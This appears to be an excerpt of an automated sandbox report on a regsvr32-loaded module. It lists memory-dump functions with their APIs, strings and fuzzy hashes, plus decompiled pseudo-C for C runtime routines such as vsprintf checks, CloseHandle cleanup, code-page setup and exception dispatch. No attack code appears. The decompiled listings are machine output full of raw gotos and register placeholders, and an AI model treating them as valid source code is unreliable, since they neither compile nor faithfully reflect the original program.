Opcode Fuzzy Hash: e993b8295e4f15c9eb240b3e6c5194696fb031badc4e4f03d14c808df6e1b3aa
Instruction Fuzzy Hash: F9012D21A2C64286E3D09B25EC4473EA2E0F784B50F719275A9DE426F5CF3FE4018601

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3206A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D320FA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D320AB, 000007FEF9D320E5
(count == 0) || (string != NULL), xrefs: 000007FEF9D32096, 000007FEF9D320F3
_vsnprintf_helper, xrefs: 000007FEF9D320EC

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3131718208
Opcode ID: 43b2844285fd77a1982b218cfc07c90d3f3fad476d4107e0837d5d8b2ccbe159
Instruction ID: 25215b7a66bf5335accef34de15d40bd2ed0749c1f690011489e68f1b39c7366
Opcode Fuzzy Hash: 43b2844285fd77a1982b218cfc07c90d3f3fad476d4107e0837d5d8b2ccbe159
Instruction Fuzzy Hash: F3113571E086429AF7A09B28E9047BE62D0F344308F608525A7EC076F5DB7EE548CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31FCB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32050

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32001, 000007FEF9D3203B
(format != NULL), xrefs: 000007FEF9D31FEC, 000007FEF9D32049
_vsnprintf_helper, xrefs: 000007FEF9D32042

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (format != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-1927795013
Opcode ID: 98ed0b5fdb5fc60e70232fca9ee65f87cb4d2692f01eaf8ea89a3da70423e3bd
Instruction ID: 944cdc0bbf70bc89b755e38a530f77822666c2a95ff09ee036fe4101a55fb2d6
Opcode Fuzzy Hash: 98ed0b5fdb5fc60e70232fca9ee65f87cb4d2692f01eaf8ea89a3da70423e3bd
Instruction Fuzzy Hash: 62010831E0C646DAF7A09B68EC057AD66D0B380354FB04625A69C066F9DB7EE589CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25A25 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D25AAA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25A5B, 000007FEF9D25A95
_msize_dbg, xrefs: 000007FEF9D25A9C
pUserData != NULL, xrefs: 000007FEF9D25A46, 000007FEF9D25AA3

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _msize_dbg$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pUserData != NULL
API String ID: 2123368286-563024394
Opcode ID: 4f42008d2eeb6119988a971f0b8ebe92e3bb2dd5d0d6607e11ba140e367e8579
Instruction ID: a0eba8665c26eae2e6ed32b737e6c8ef722208237a38dcf7c055842964877d15
Opcode Fuzzy Hash: 4f42008d2eeb6119988a971f0b8ebe92e3bb2dd5d0d6607e11ba140e367e8579
Instruction Fuzzy Hash: 5B01483190860A86FBA09B14EC417AE62E0F351328FB14222D2DC126E4DB7FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D325F6 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3267B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D3262C, 000007FEF9D32666
_vsnprintf_s_l, xrefs: 000007FEF9D3266D
format != NULL, xrefs: 000007FEF9D32617, 000007FEF9D32674

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL
API String ID: 2123368286-577066449
Opcode ID: e471ef19857bf677b9863c0521a2362ee6eb8c4f9ff1322e4db10fa111c1afe4
Instruction ID: 4a3f651cd4551bfcababacb72a39fd99133eb44e8e6a79d9543262d1bb372964
Opcode Fuzzy Hash: e471ef19857bf677b9863c0521a2362ee6eb8c4f9ff1322e4db10fa111c1afe4
Instruction Fuzzy Hash: 5D019630E0860ACAE7A09B10EC817AD22E0E794394FA08025A2CD066F8DB3EE6448B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27490 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,000007FEF9D274F1), ref: 000007FEF9D2749F
GetProcAddress.KERNEL32 ref: 000007FEF9D274BE

Strings

CorExitProcess, xrefs: 000007FEF9D274B2
mscoree.dll, xrefs: 000007FEF9D27498

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 5b280635b15effc0f011d898b8b9467002935a92ac88a45419cb005d03af6660
Instruction ID: 8122274e17013f5b0610865d0345eaa92fe91d894f768ab51d4a4384d1174919
Opcode Fuzzy Hash: 5b280635b15effc0f011d898b8b9467002935a92ac88a45419cb005d03af6660
Instruction Fuzzy Hash: A5F0AC31918A4282D674DF18F94836DB7B0F384348F644125E6CE42678DF3ED559CA04

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40C80 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D40C80(signed int __ecx, void* __eflags, void* __rax, void* __r8, signed int _a8) {
				signed long long _v16;
				long _v24;
				void* _t57;
				signed long long _t59;

				_t57 = __rax;
				_a8 = __ecx;
				E000007FE7FEF9D3F900(_a8);
				if (_t57 == 0xffffffff) goto 0xf9d40d05;
				if (_a8 != 1) goto 0xf9d40cb3;
				if (( *( *0xf9d4e560 + 0xb8) & 0x00000001) != 0) goto 0xf9d40ccc;
				if (_a8 != 2) goto 0xf9d40cef;
				_t59 =  *0xf9d4e560;
				if (( *(_t59 + 0x60) & 0x00000001) == 0) goto 0xf9d40cef;
				E000007FE7FEF9D3F900(1);
				_v16 = _t59;
				E000007FE7FEF9D3F900(2);
				if (_v16 == _t59) goto 0xf9d40d05;
				E000007FE7FEF9D3F900(_a8);
				if (CloseHandle(??) == 0) goto 0xf9d40d0f;
				_v24 = 0;
				goto 0xf9d40d19;
				_v24 = GetLastError();
				E000007FE7FEF9D3F7D0(_a8, _t59);
				 *((char*)( *((intOrPtr*)(0xf9d4e560 + _t59 * 8)) + 8 + (_a8 & 0x0000001f) * 0x58)) = 0;
				if (_v24 == 0) goto 0xf9d40d60;
				E000007FE7FEF9D2AA70(_v24,  *((intOrPtr*)(0xf9d4e560 + _t59 * 8)));
				goto 0xf9d40d62;
				return 0;
			}

0x7fef9d40c80
0x7fef9d40c80
0x7fef9d40c8c
0x7fef9d40c95
0x7fef9d40c9c
0x7fef9d40cb1
0x7fef9d40cb8
0x7fef9d40cba
0x7fef9d40cca
0x7fef9d40cd1
0x7fef9d40cd6
0x7fef9d40ce0
0x7fef9d40ced
0x7fef9d40cf3
0x7fef9d40d03
0x7fef9d40d05
0x7fef9d40d0d
0x7fef9d40d15
0x7fef9d40d1d
0x7fef9d40d44
0x7fef9d40d4e
0x7fef9d40d54
0x7fef9d40d5e
0x7fef9d40d66

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

CloseHandle.KERNEL32 ref: 000007FEF9D40CFB
GetLastError.KERNEL32 ref: 000007FEF9D40D0F
_free_osfhnd.LIBCMTD ref: 000007FEF9D40D1D
_dosmaperr.LIBCMTD ref: 000007FEF9D40D54

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CloseErrorHandleLast__doserrno_dosmaperr_free_osfhnd
String ID:
API String ID: 1551955814-0
Opcode ID: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction ID: de0ed08be9decc95e7dd14c86c95eccfc4319969b2c7c8741dbc19f533f0ba9a
Opcode Fuzzy Hash: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction Fuzzy Hash: 4A219F32A0C64686E7A49B28EC4133E72E1F781355F348235E6DD46AF9DB2EE845CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D21000 Relevance: 6.0, APIs: 4, Instructions: 47threadtimeCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 000007FEF9D2101D
GetDateFormatA.KERNEL32 ref: 000007FEF9D21038
GetThreadLocale.KERNEL32 ref: 000007FEF9D2106F
GetTimeFormatA.KERNEL32 ref: 000007FEF9D2108A

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FormatLocaleThread$DateTime
String ID:
API String ID: 3587784874-0
Opcode ID: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction ID: 0d03bf333fdb9b17262424d59d82d7c7719cce37cb4ba974854027563787c74d
Opcode Fuzzy Hash: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction Fuzzy Hash: 3311E33160878086E3608F68F94025EB7E0F748BA4F648724EF9D47BA8CB3ED1418700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2A5E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D2A5E0(long long __rcx, void* _a8) {
				signed int _v24;
				char _v42;
				void* _v48;
				signed int _v56;
				char _v312;
				signed char* _v328;
				char _v584;
				char _v840;
				char _v1352;
				char _v1384;
				char _v1392;
				intOrPtr _v1400;
				long long _v1408;
				long long _v1416;
				signed long long _t206;
				signed char* _t214;
				signed long long _t223;
				intOrPtr _t225;
				intOrPtr _t226;
				signed long long _t233;

				_t224 = __rcx;
				_a8 = __rcx;
				_t206 =  *0xf9d4b018; // 0x6ec74913a662
				_v24 = _t206 ^ _t233;
				if (GetCPInfo(??, ??) == 0) goto 0xf9d2a906;
				_v56 = 0;
				goto 0xf9d2a63c;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a661;
				 *((char*)(_t233 + _a8 + 0x470)) = _v56 & 0x000000ff;
				goto 0xf9d2a62c;
				_v312 = 0x20;
				_v328 =  &_v42;
				goto 0xf9d2a68f;
				_v328 =  &(_v328[2]);
				if (( *_v328 & 0x000000ff) == 0) goto 0xf9d2a6ea;
				_v56 =  *_v328 & 0x000000ff;
				goto 0xf9d2a6c2;
				_v56 = _v56 + 1;
				_t214 = _v328;
				if (_v56 - ( *(_t214 + 1) & 0x000000ff) > 0) goto 0xf9d2a6e8;
				 *((char*)(_t233 + _t214 + 0x470)) = 0x20;
				goto 0xf9d2a6b2;
				goto 0xf9d2a67b;
				_v1392 = 0;
				_v1400 =  *((intOrPtr*)(_a8 + 0xc));
				_v1408 =  *((intOrPtr*)(_a8 + 4));
				_v1416 =  &_v1352;
				r9d = 0x100;
				E000007FE7FEF9D2F4D0(1,  &_v1352, __rcx,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v840;
				_v1416 = 0x100;
				r8d = 0x100;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_a8 + 0xc)), _a8, _t224,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v584;
				_v1416 = 0x100;
				r8d = 0x200;
				_t223 = _a8;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_t223 + 0xc)), _t223, _t224,  &_v312);
				_v56 = 0;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a901;
				if (( *(_t233 + 0x60 + _t223 * 2) & 1) == 0) goto 0xf9d2a879;
				_t225 = _a8;
				 *((char*)(_a8 + _t225 + 0x1c)) =  *(_t225 + _t223 + 0x1c) & 0x000000ff | 0x00000010;
				 *((char*)(_a8 + _t225 + 0x11d)) =  *(_t233 + _t223 + 0x260) & 0x000000ff;
				goto 0xf9d2a8fc;
				if (( *(_t233 + 0x60 + _t223 * 2) & 2) == 0) goto 0xf9d2a8e5;
				_t226 = _a8;
				 *((char*)(_a8 + _t226 + 0x1c)) =  *(_t226 + _t223 + 0x1c) & 0x000000ff | 0x00000020;
				 *((char*)(_a8 + _t226 + 0x11d)) =  *(_t233 + _t223 + 0x360) & 0x000000ff;
				goto 0xf9d2a8fc;
				 *((char*)(_a8 + _t223 + 0x11d)) = 0;
				goto L1;
				goto 0xf9d2aa20;
				_v56 = 0;
				_v56 = _v56 + 1;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2aa20;
				if (_v56 - 0x41 < 0) goto 0xf9d2a99c;
				if (_v56 - 0x5a > 0) goto 0xf9d2a99c;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000010;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 + 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				if (_v56 - 0x61 < 0) goto 0xf9d2aa04;
				if (_v56 - 0x7a > 0) goto 0xf9d2aa04;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000020;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 - 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(__rdx + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				__eax = _v56;
				__rcx = _a8;
				 *((char*)(_a8 + __rax + 0x11d)) = 0;
				goto L2;
				__rcx = _v24;
				__rcx = _v24 ^ __rsp;
				return E000007FE7FEF9D23280(_v56, _v56, __edx, _v24 ^ __rsp, __rdx, __r8);
			}

0x7fef9d2a5e0
0x7fef9d2a5e0
0x7fef9d2a5ec
0x7fef9d2a5f6
0x7fef9d2a619
0x7fef9d2a61f
0x7fef9d2a62a
0x7fef9d2a635
0x7fef9d2a647
0x7fef9d2a658
0x7fef9d2a65f
0x7fef9d2a661
0x7fef9d2a671
0x7fef9d2a679
0x7fef9d2a687
0x7fef9d2a69c
0x7fef9d2a6a9
0x7fef9d2a6b0
0x7fef9d2a6bb
0x7fef9d2a6c2
0x7fef9d2a6d5
0x7fef9d2a6de
0x7fef9d2a6e6
0x7fef9d2a6e8
0x7fef9d2a6ea
0x7fef9d2a6fd
0x7fef9d2a70c
0x7fef9d2a715
0x7fef9d2a71a
0x7fef9d2a72f
0x7fef9d2a734
0x7fef9d2a747
0x7fef9d2a74b
0x7fef9d2a75b
0x7fef9d2a760
0x7fef9d2a770
0x7fef9d2a783
0x7fef9d2a788
0x7fef9d2a79b
0x7fef9d2a79f
0x7fef9d2a7af
0x7fef9d2a7b4
0x7fef9d2a7c4
0x7fef9d2a7ca
0x7fef9d2a7d7
0x7fef9d2a7dc
0x7fef9d2a7f2
0x7fef9d2a804
0x7fef9d2a81b
0x7fef9d2a828
0x7fef9d2a84b
0x7fef9d2a86d
0x7fef9d2a874
0x7fef9d2a88a
0x7fef9d2a897
0x7fef9d2a8ba
0x7fef9d2a8dc
0x7fef9d2a8e3
0x7fef9d2a8f4
0x7fef9d2a8fc
0x7fef9d2a901
0x7fef9d2a906
0x7fef9d2a91a
0x7fef9d2a91c
0x7fef9d2a92e
0x7fef9d2a93c
0x7fef9d2a946
0x7fef9d2a94f
0x7fef9d2a953
0x7fef9d2a960
0x7fef9d2a96a
0x7fef9d2a96e
0x7fef9d2a976
0x7fef9d2a981
0x7fef9d2a984
0x7fef9d2a98b
0x7fef9d2a993
0x7fef9d2a99a
0x7fef9d2a9a4
0x7fef9d2a9ae
0x7fef9d2a9b7
0x7fef9d2a9bb
0x7fef9d2a9c8
0x7fef9d2a9d2
0x7fef9d2a9d6
0x7fef9d2a9de
0x7fef9d2a9e9
0x7fef9d2a9ec
0x7fef9d2a9f3
0x7fef9d2a9fb
0x7fef9d2aa02
0x7fef9d2aa04
0x7fef9d2aa0b
0x7fef9d2aa13
0x7fef9d2aa1b
0x7fef9d2aa20
0x7fef9d2aa28
0x7fef9d2aa37

APIs

GetCPInfo.KERNEL32 ref: 000007FEF9D2A611

Strings

, xrefs: 000007FEF9D2A6DE
z, xrefs: 000007FEF9D2A9A6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Info
String ID: $z
API String ID: 1807457897-2251613814
Opcode ID: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction ID: 4853ceba84ddbb230417778543f3b3b02ea2aa858227094ccd1c634e11d49f23
Opcode Fuzzy Hash: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction Fuzzy Hash: C8B1B77261CAC0CAD7B58B29E8807AFB7E0F388785F155125DAC983B99DB2DD4429F00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34960 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 35%

			E000007FE7FEF9D34960(void* __ecx, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int _a40, intOrPtr _a48, long long _a56, long long _a64) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				char _v60;
				char _v64;
				signed int _v72;
				char _v80;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				signed int _v136;
				void* _t106;
				void* _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				long long _t153;
				signed int _t161;
				signed int _t165;
				long long _t166;
				long long _t169;
				long long _t170;
				intOrPtr _t174;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t153 = _a8;
				if ( *_t153 != 0x80000003) goto 0xf9d34990;
				goto 0xf9d34cc6;
				0xf9d24000();
				if ( *((long long*)(_t153 + 0xe0)) == 0) goto 0xf9d34a33;
				0xf9d24000();
				_v56 = _t153;
				E000007FE7FEF9D23D00(_t106);
				if ( *((intOrPtr*)(_v56 + 0xe0)) == _t153) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434f4d) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434352) goto 0xf9d34a33;
				_v120 = _a64;
				_v128 = _a56;
				_v136 = _a40;
				if (E000007FE7FEF9D2E9B0(_a8, _a16, _a24, _a32) == 0) goto 0xf9d34a33;
				goto 0xf9d34cc6;
				if ( *((intOrPtr*)(_a40 + 0xc)) == 0) goto 0xf9d34a43;
				goto 0xf9d34a48;
				E000007FE7FEF9D2CF80(_a40);
				_v120 = _a32;
				_v128 =  &_v60;
				_t161 =  &_v64;
				_v136 = _t161;
				r9d = _a48;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v72 = _t161;
				_v64 = _v64 + 1;
				_v72 = _v72 + 0x14;
				if (_v64 - _v60 >= 0) goto 0xf9d34cc6;
				if (_a48 -  *_v72 < 0) goto 0xf9d34c2b;
				_t165 = _v72;
				if (_a48 -  *((intOrPtr*)(_t165 + 4)) > 0) goto 0xf9d34c2b;
				_t117 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t165 + 4)), _t165);
				_t166 = _t165 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t166 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34b53;
				_t118 = E000007FE7FEF9D2E680(_t117, _t166);
				_v48 = _t166;
				_t119 = E000007FE7FEF9D2E680(_t118, _t166);
				_t169 = _v48 +  *((intOrPtr*)(_t166 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				_v40 = _t169;
				goto 0xf9d34b5f;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d34bff;
				_t120 = E000007FE7FEF9D2E680(_t119, _t169);
				_t170 = _t169 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t170 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34be3;
				_t121 = E000007FE7FEF9D2E680(_t120, _t170);
				_v32 = _t170;
				E000007FE7FEF9D2E680(_t121, _t170);
				_v24 = _v32 +  *((intOrPtr*)(_t170 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				goto 0xf9d34bef;
				_v24 = 0;
				_t174 = _v24;
				if ( *((char*)(_t174 + 0x10)) != 0) goto 0xf9d34c2b;
				E000007FE7FEF9D2E680( *((char*)(_t174 + 0x10)), _t174);
				if (( *(_t174 +  *((intOrPtr*)(_v72 + 0x10)) + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14) & 0x00000040) == 0) goto 0xf9d34c30;
				goto L1;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_v72 =  *((intOrPtr*)(_v72 + 0x10));
				__rax = __rax +  *((intOrPtr*)(_v72 + 0x10));
				_v72 =  *((intOrPtr*)(_v72 + 0xc)) - 1;
				__rcx = ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__rax = __rax + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__eflags = __rax;
				_v80 = 0;
				_v88 = 1;
				__rcx = _a64;
				_v96 = _a64;
				_v104 = _a56;
				__rcx = _v72;
				_v112 = _v72;
				_v120 = 0;
				_v128 = __rax;
				__rax = _a40;
				_v136 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D35180(__edi, __esi, __esp, __eflags, _a8, _a16, _a24, _a32);
				goto L1;
				return __eax;
			}

0x7fef9d34960
0x7fef9d34965
0x7fef9d3496a
0x7fef9d3496f
0x7fef9d3497b
0x7fef9d34989
0x7fef9d3498b
0x7fef9d34990
0x7fef9d3499d
0x7fef9d349a3
0x7fef9d349a8
0x7fef9d349ad
0x7fef9d349be
0x7fef9d349ce
0x7fef9d349de
0x7fef9d349e8
0x7fef9d349f4
0x7fef9d34a00
0x7fef9d34a2c
0x7fef9d34a2e
0x7fef9d34a3f
0x7fef9d34a41
0x7fef9d34a43
0x7fef9d34a50
0x7fef9d34a5a
0x7fef9d34a5f
0x7fef9d34a64
0x7fef9d34a69
0x7fef9d34a71
0x7fef9d34a89
0x7fef9d34a8e
0x7fef9d34a9b
0x7fef9d34aa8
0x7fef9d34ab5
0x7fef9d34ac9
0x7fef9d34acf
0x7fef9d34ade
0x7fef9d34ae4
0x7fef9d34af2
0x7fef9d34b0b
0x7fef9d34b0d
0x7fef9d34b12
0x7fef9d34b17
0x7fef9d34b46
0x7fef9d34b49
0x7fef9d34b51
0x7fef9d34b53
0x7fef9d34b68
0x7fef9d34b6e
0x7fef9d34b7c
0x7fef9d34b95
0x7fef9d34b97
0x7fef9d34b9c
0x7fef9d34ba4
0x7fef9d34bd9
0x7fef9d34be1
0x7fef9d34be3
0x7fef9d34bef
0x7fef9d34bfd
0x7fef9d34bff
0x7fef9d34c29
0x7fef9d34c2b
0x7fef9d34c30
0x7fef9d34c3a
0x7fef9d34c3e
0x7fef9d34c4b
0x7fef9d34c4e
0x7fef9d34c52
0x7fef9d34c52
0x7fef9d34c55
0x7fef9d34c5a
0x7fef9d34c5f
0x7fef9d34c67
